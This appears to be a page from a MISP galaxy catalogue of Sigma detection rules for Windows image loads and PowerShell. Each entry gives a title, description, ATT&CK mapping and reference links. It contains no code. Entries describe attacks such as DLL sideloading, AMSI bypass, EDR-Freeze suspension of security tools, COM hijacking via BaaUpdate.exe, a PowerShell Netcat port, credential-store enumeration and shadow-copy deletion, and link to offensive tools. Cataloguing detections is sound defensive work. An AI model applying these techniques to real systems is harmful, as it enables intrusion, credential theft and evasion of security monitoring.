HackTool - SharpEvtMute DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 16499. Table References

Links
https://github.com/bats3c/EvtMute
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_sharpevtmute.yml

Potential CCleanerReactivator.DLL Sideloading

Detects potential DLL sideloading of "CCleanerReactivator.dll"

The tag is: *misp-galaxy:sigma-rules="Potential CCleanerReactivator.DLL Sideloading"*

View relationships graph

Potential CCleanerReactivator.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16500. Table References

Links
https://lab52.io/blog/2344-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_reactivator.yml

Potential AVKkid.DLL Sideloading

Detects potential DLL sideloading of "AVKkid.dll"

The tag is: *misp-galaxy:sigma-rules="Potential AVKkid.DLL Sideloading"*

View relationships graph

Potential AVKkid.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16501. Table References

Links
https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_avkkid.yml

Potential DLL Sideloading Via ClassicExplorer32.dll

Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Via ClassicExplorer32.dll"*

View relationships graph

Potential DLL Sideloading Via ClassicExplorer32.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16502. Table References

Links

https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/
https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml

DLL Loaded From Suspicious Location Via Cmspt.EXE

Detects cmstp loading "dll" or "ocx" files from suspicious locations

The tag is: *misp-galaxy:sigma-rules="DLL Loaded From Suspicious Location Via Cmspt.EXE"*

View relationships graph

DLL Loaded From Suspicious Location Via Cmspt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 16503. Table References

Links
https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_cmstp_load_dll_from_susp_location.yml

Unsigned Image Loaded Into LSASS Process

Loading unsigned image (DLL, EXE) into LSASS process

The tag is: *misp-galaxy:sigma-rules="Unsigned Image Loaded Into LSASS Process"*

View relationships graph

Unsigned Image Loaded Into LSASS Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16504. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lsass_unsigned_image_load.yml

Potential DLL Sideloading Of DbgModel.DLL

Detects potential DLL sideloading of "DbgModel.dll"

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of DbgModel.DLL"*

View relationships graph

Potential DLL Sideloading Of DbgModel.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16505. Table References

Links
https://hijacklibs.net/entries/microsoft/built-in/dbgmodel.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgmodel.yml

Microsoft VBA For Outlook Addin Loaded Via Outlook

Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process

The tag is: *misp-galaxy:sigma-rules="Microsoft VBA For Outlook Addin Loaded Via Outlook"*

View relationships graph

Microsoft VBA For Outlook Addin Loaded Via Outlook has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16506. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=58
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_outlook_outlvba_load.yml

BaaUpdate.exe Suspicious DLL Load

Detects BitLocker Access Agent Update Utility (baaupdate.exe) loading DLLs from suspicious locations that are publicly writable which could indicate an attempt to lateral movement via

BitLocker DCOM & COM Hijacking. This technique abuses COM Classes configured as INTERACTIVE USER to spawn processes in the context of the logged-on user's session. Specifically, it targets the BDEUILauncher Class (CLSID ab93b6f1-be76-4185-a488-a9001b105b94) which can launch BaaUpdate.exe, which is vulnerable to COM Hijacking when started with input parameters. This allows attackers to execute code in the user's context without needing to steal credentials or use additional techniques to compromise the account.

The tag is: *misp-galaxy:sigma-rules="BaaUpdate.exe Suspicious DLL Load"*

View relationships graph

BaaUpdate.exe Suspicious DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 16507. Table References

Links
https://github.com/rtecCyberSec/BitlockMove
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_baaupdate_dll_load.yml

Potential DCOM InternetExplorer.Application DLL Hijack - Image Load

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class

The tag is: *misp-galaxy:sigma-rules="Potential DCOM InternetExplorer.Application DLL Hijack - Image Load"*

View relationships graph

Potential DCOM InternetExplorer.Application DLL Hijack - Image Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 16508. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_iexplore_dcom_iertutil_dll_hijack.yml

Remote DLL Load Via Rundll32.EXE

Detects a remote DLL load event via "rundll32.exe".

The tag is: *misp-galaxy:sigma-rules="Remote DLL Load Via Rundll32.EXE"*

View relationships graph

Remote DLL Load Via Rundll32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16509. Table References

Links
https://github.com/gabe-k/themebleed
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_remote_share_load.yml

Potential Antivirus Software DLL Sideloading

Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc

The tag is: *misp-galaxy:sigma-rules="Potential Antivirus Software DLL Sideloading"*

View relationships graph

Potential Antivirus Software DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16510. Table References

Links
https://hijacklibs.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml

WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze

Detects WerFaultSecure.exe loading dbgcore.dll or dbghelp.dll which contains the MiniDumpWriteDump function. The MiniDumpWriteDump function creates a minidump of a process by suspending all threads in the target process to ensure a consistent memory snapshot. The EDR-Freeze technique abuses WerFaultSecure.exe running as a Protected Process Light (PPL) with WinTCB protection level to suspend EDR/AV processes. By leveraging MiniDumpWriteDump's thread suspension behavior, edr-freeze allows malicious activity to execute undetected during the suspension period.

The tag is: *misp-galaxy:sigma-rules="WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze"*

View relationships graph

WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16511. Table References

Links
https://blog.axelarator.net/hunting-for-edr-freeze/
https://github.com/TwoSevenOneT/EDR-Freeze
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_win_werfaultsecure_dbgcore_dbghelp_load.yml

Netcat The Powershell Version

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network

The tag is: *misp-galaxy:sigma-rules="Netcat The Powershell Version"*

View relationships graph

Netcat The Powershell Version has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 16512. Table References

Links
https://nmap.org/ncat/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md

https://github.com/besimorhino/powercat
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml

Suspicious PowerShell Download

Detects suspicious PowerShell download command

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Download"*

View relationships graph

Suspicious PowerShell Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16513. Table References

Links
https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml

PowerShell Called from an Executable Version Mismatch

Detects PowerShell called from an executable by the version mismatch method

The tag is: *misp-galaxy:sigma-rules="PowerShell Called from an Executable Version Mismatch"*

View relationships graph

PowerShell Called from an Executable Version Mismatch has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16514. Table References

Links
https://adsecurity.org/?p=2921
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml

Suspicious Non PowerShell WSMAN COM Provider

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

The tag is: *misp-galaxy:sigma-rules="Suspicious Non PowerShell WSMAN COM Provider"*

View relationships graph

Suspicious Non PowerShell WSMAN COM Provider has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 16515. Table References

Links
https://twitter.com/chadtilbury/status/1275851297770610688
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
https://github.com/bohops/WSMan-WinRM
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml

PowerShell Downgrade Attack - PowerShell

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

The tag is: *misp-galaxy:sigma-rules="PowerShell Downgrade Attack - PowerShell"*

View relationships graph

PowerShell Downgrade Attack - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16516. Table References

Links
http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml

Remote PowerShell Session (PS Classic)

Detects remote PowerShell sessions

The tag is: *misp-galaxy:sigma-rules="Remote PowerShell Session (PS Classic)"*

View relationships graph

Remote PowerShell Session (PS Classic) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16517. Table References

Links
https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml

Use Get-NetTCPConnection

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

The tag is: *misp-galaxy:sigma-rules="Use Get-NetTCPConnection"*

View relationships graph

Use Get-NetTCPConnection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 16518. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml

Nslookup PowerShell Download Cradle

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

The tag is: *misp-galaxy:sigma-rules="Nslookup PowerShell Download Cradle"*

View relationships graph

Nslookup PowerShell Download Cradle has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16519. Table References

Links
https://twitter.com/Alh4zr3d/status/1566489367232651264
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_abuse_nslookup_with_dns_records.yml

Renamed Powershell Under Powershell Channel

Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.

The tag is: *misp-galaxy:sigma-rules="Renamed Powershell Under Powershell Channel"*

View relationships graph

Renamed Powershell Under Powershell Channel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 16520. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml

Zip A Folder With PowerShell For Staging In Temp - PowerShell

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell"*

View relationships graph

Zip A Folder With PowerShell For Staging In Temp - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

Table 16521. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml

Delete Volume Shadow Copies Via WMI With PowerShell

Shadow Copies deletion using operating systems utilities via PowerShell

The tag is: *misp-galaxy:sigma-rules="Delete Volume Shadow Copies Via WMI With PowerShell"*

View relationships graph

Delete Volume Shadow Copies Via WMI With PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16522. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md

https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml

Tamper Windows Defender - PSClassic

Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

The tag is: *misp-galaxy:sigma-rules="Tamper Windows Defender - PSClassic"*

View relationships graph

Tamper Windows Defender - PSClassic has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16523. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml

Potential RemoteFXvGPUDisablement.EXE Abuse

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: *misp-galaxy:sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse"*

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16524. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md

https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remotefxvgpudisablement_abuse.yml

Enumerate Credentials from Windows Credential Manager With PowerShell

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

The tag is: *misp-galaxy:sigma-rules="Enumerate Credentials from Windows Credential Manager With PowerShell"*

View relationships graph

Enumerate Credentials from Windows Credential Manager With PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

Table 16525. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml

Suspicious IO.FileStream

Open a handle on the drive volume via the \\.\ DOS device path specifier and perform direct access read of the first few bytes of the volume.

The tag is: *misp-galaxy:sigma-rules="Suspicious IO.FileStream"*

View relationships graph

Suspicious IO.FileStream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16526. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml

Suspicious TCP Tunnel Via PowerShell Script

Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity

The tag is: *misp-galaxy:sigma-rules="Suspicious TCP Tunnel Via PowerShell Script"*

View relationships graph

Suspicious TCP Tunnel Via PowerShell Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 16527. Table References

Links
https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml

AMSI Bypass Pattern Assembly GetType

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

The tag is: *misp-galaxy:sigma-rules="AMSI Bypass Pattern Assembly GetType"*

View relationships graph

AMSI Bypass Pattern Assembly GetType has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16528. Table References

Links
https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml

Potential Persistence Via PowerShell User Profile Using Add-Content

Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via PowerShell User Profile Using Add-Content"*

View relationships graph

Potential Persistence Via PowerShell User Profile Using Add-Content has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

Table 16529. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_profile_tampering.yml

PowerShell Remote Session Creation

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system

The tag is: *misp-galaxy:sigma-rules="PowerShell Remote Session Creation"*

View relationships graph

PowerShell Remote Session Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16530. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.4
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml

Clear PowerShell History - PowerShell

Detects keywords that could indicate clearing PowerShell history

The tag is: *misp-galaxy:sigma-rules="Clear PowerShell History - PowerShell"*

View relationships graph

Clear PowerShell History - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16531. Table References

Links
https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml

Powershell Execute Batch Script

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system

The tag is: *misp-galaxy:sigma-rules="Powershell Execute Batch Script"*

View relationships graph

Powershell Execute Batch Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 16532. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml

Change PowerShell Policies to an Insecure Level - PowerShell

Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.

The tag is: *misp-galaxy:sigma-rules="Change PowerShell Policies to an Insecure Level - PowerShell"*

View relationships graph

Change PowerShell Policies to an Insecure Level - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16533. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4
https://adsecurity.org/?p=2604
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml

Windows Firewall Profile Disabled

Detects when a user disables the Windows Firewall via a Profile to help evade defense.

The tag is: *misp-galaxy:sigma-rules="Windows Firewall Profile Disabled"*

View relationships graph

Windows Firewall Profile Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16534. Table References

Links
https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell

https://learn.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2022-ps
https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html
https://web.archive.org/web/20230929023836/http://powershellhelp.space/commands/set-netfirewallrule-psv5.php
http://woshub.com/manage-windows-firewall-powershell/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml

Modify Group Policy Settings - ScriptBlockLogging

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

The tag is: *misp-galaxy:sigma-rules="Modify Group Policy Settings - ScriptBlockLogging"*

View relationships graph

Modify Group Policy Settings - ScriptBlockLogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

Table 16535. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml

Suspicious SSL Connection

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

The tag is: *misp-galaxy:sigma-rules="Suspicious SSL Connection"*

View relationships graph

Suspicious SSL Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 16536. Table References

Links

https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml

Powershell Sensitive File Discovery

Detect adversaries enumerate sensitive files

The tag is: *misp-galaxy:sigma-rules="Powershell Sensitive File Discovery"*

View relationships graph

Powershell Sensitive File Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 16537. Table References

Links
https://twitter.com/malmoeb/status/1570814999370801158
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml

Get-ADUser Enumeration Using UserAccountControl Flags

Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.

The tag is: *misp-galaxy:sigma-rules="Get-ADUser Enumeration Using UserAccountControl Flags"*

View relationships graph

Get-ADUser Enumeration Using UserAccountControl Flags has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16538. Table References

Links
https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml

Potential Active Directory Enumeration Using AD Module - PsScript

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: *misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - PsScript"*

Table 16539. Table References

Links
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
https://twitter.com/cyb3rops/status/1617108657166061568?s=20
https://github.com/samratashok/ADModule
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml

Invoke-Obfuscation STDIN+ Launcher - Powershell

Detects Obfuscated use of stdin to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - Powershell"*

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16540. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009

